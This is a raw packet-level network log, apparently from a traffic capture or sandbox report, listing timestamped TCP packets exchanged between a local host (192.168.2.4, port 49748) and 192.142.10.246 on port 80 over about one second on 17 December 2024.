                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883466005 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883538008 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883903980 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883946896 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.883966923 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.884222984 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.884593010 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.884659052 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.884676933 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.884706974 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.884771109 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.885293007 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.885399103 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.885417938 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.885516882 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.885874987 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.885961056 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.885978937 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.886015892 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.886138916 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.886552095 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.886615992 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.886650085 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.886941910 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.887109041 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.887149096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.887182951 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.887187958 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.887473106 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.887855053 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.887872934 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.887908936 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.887950897 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.888401985 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.888449907 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.888469934 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.888508081 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.888540983 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.888833046 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.888890028 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.888906956 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.889137030 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.889384031 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.889446974 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.889465094 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.889503002 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.889640093 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.889940023 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.890058994 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.890078068 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.890265942 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.890573978 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.890614986 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.890635014 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.890666008 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.890774012 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.891097069 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.891185045 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.891204119 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.891460896 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.891547918 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.891622066 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.891654968 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.891660929 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.892067909 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.892251968 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.892350912 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.892385006 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.892580986 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.892954111 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.892971992 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.893004894 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.893045902 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.893270016 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.893603086 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.893683910 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.893702030 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.893805981 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.894467115 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.894520044 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.894531965 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.894539118 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.894793987 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.895226955 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.895359993 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.895379066 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.895553112 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.896064997 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.896158934 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.896161079 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.896178007 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.896584988 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.896883965 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.896924019 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.896941900 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.897185087 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.897676945 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.897778034 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.897798061 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.897808075 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.897895098 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.898497105 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.898524046 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.898540974 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.898782969 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.899307013 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.899404049 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.899413109 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.899421930 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.899537086 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.900095940 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.900423050 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.900465012 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.900481939 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.900511980 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.900684118 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.901171923 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.901206970 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.901225090 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.901482105 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.901977062 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.902045965 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.902062893 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.902096987 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.902139902 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.902786970 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.902859926 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.902877092 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.902942896 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.903589964 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.903655052 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.903676033 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.903718948 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.903793097 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.904412031 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.904433966 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.904467106 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.904505968 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.905388117 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.905447006 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.905466080 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.905499935 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.905694008 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.906053066 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.906095028 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.906111956 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.906359911 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.906856060 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.906892061 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.906908989 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.906946898 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.906979084 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.907629967 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:59.963118076 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.072201967 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.072240114 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.072263956 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.072467089 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.072549105 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.072566986 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.072622061 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.072791100 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.073318005 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.073335886 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.073373079 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.073422909 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.074022055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.074084997 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.074136019 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.074184895 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.074453115 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.074863911 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.074882030 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.074914932 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.075135946 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.075711012 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.075752974 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.075771093 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.075792074 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.075922966 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.076478004 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.076556921 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.076575041 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.077059984 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.077354908 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.077393055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.077429056 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.077471972 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.077774048 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.078099012 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.078140020 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.078172922 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.078263998 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.078913927 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.078933001 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.078968048 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.079005003 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.079350948 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.079833031 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.079921007 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.079956055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.080068111 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.080625057 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.080641985 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.080661058 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.080857038 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.081311941 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.081397057 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.081430912 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.081547022 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.082276106 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.082340002 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.082374096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.082376957 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.082763910 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.083096027 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.083129883 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.083148003 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.083390951 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.083748102 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.083827972 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.083846092 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.083858013 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.084070921 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.084564924 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.084641933 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.084707022 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.084834099 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.085387945 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.085428953 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.085453033 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.085480928 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.085697889 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.086184025 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.086225986 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.086244106 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.086374044 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.086992025 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.087008953 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.087035894 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.087068081 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.087116957 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.087809086 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.087826967 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.087862015 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.087891102 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.088725090 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.088778973 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.088795900 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.088831902 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.089003086 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.089607954 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.089739084 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.089757919 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.089895964 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.090295076 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.090364933 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.090383053 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.090419054 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.090631962 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.091048002 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.091150045 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.091167927 CET8049748192.142.10.246192.168.2.4
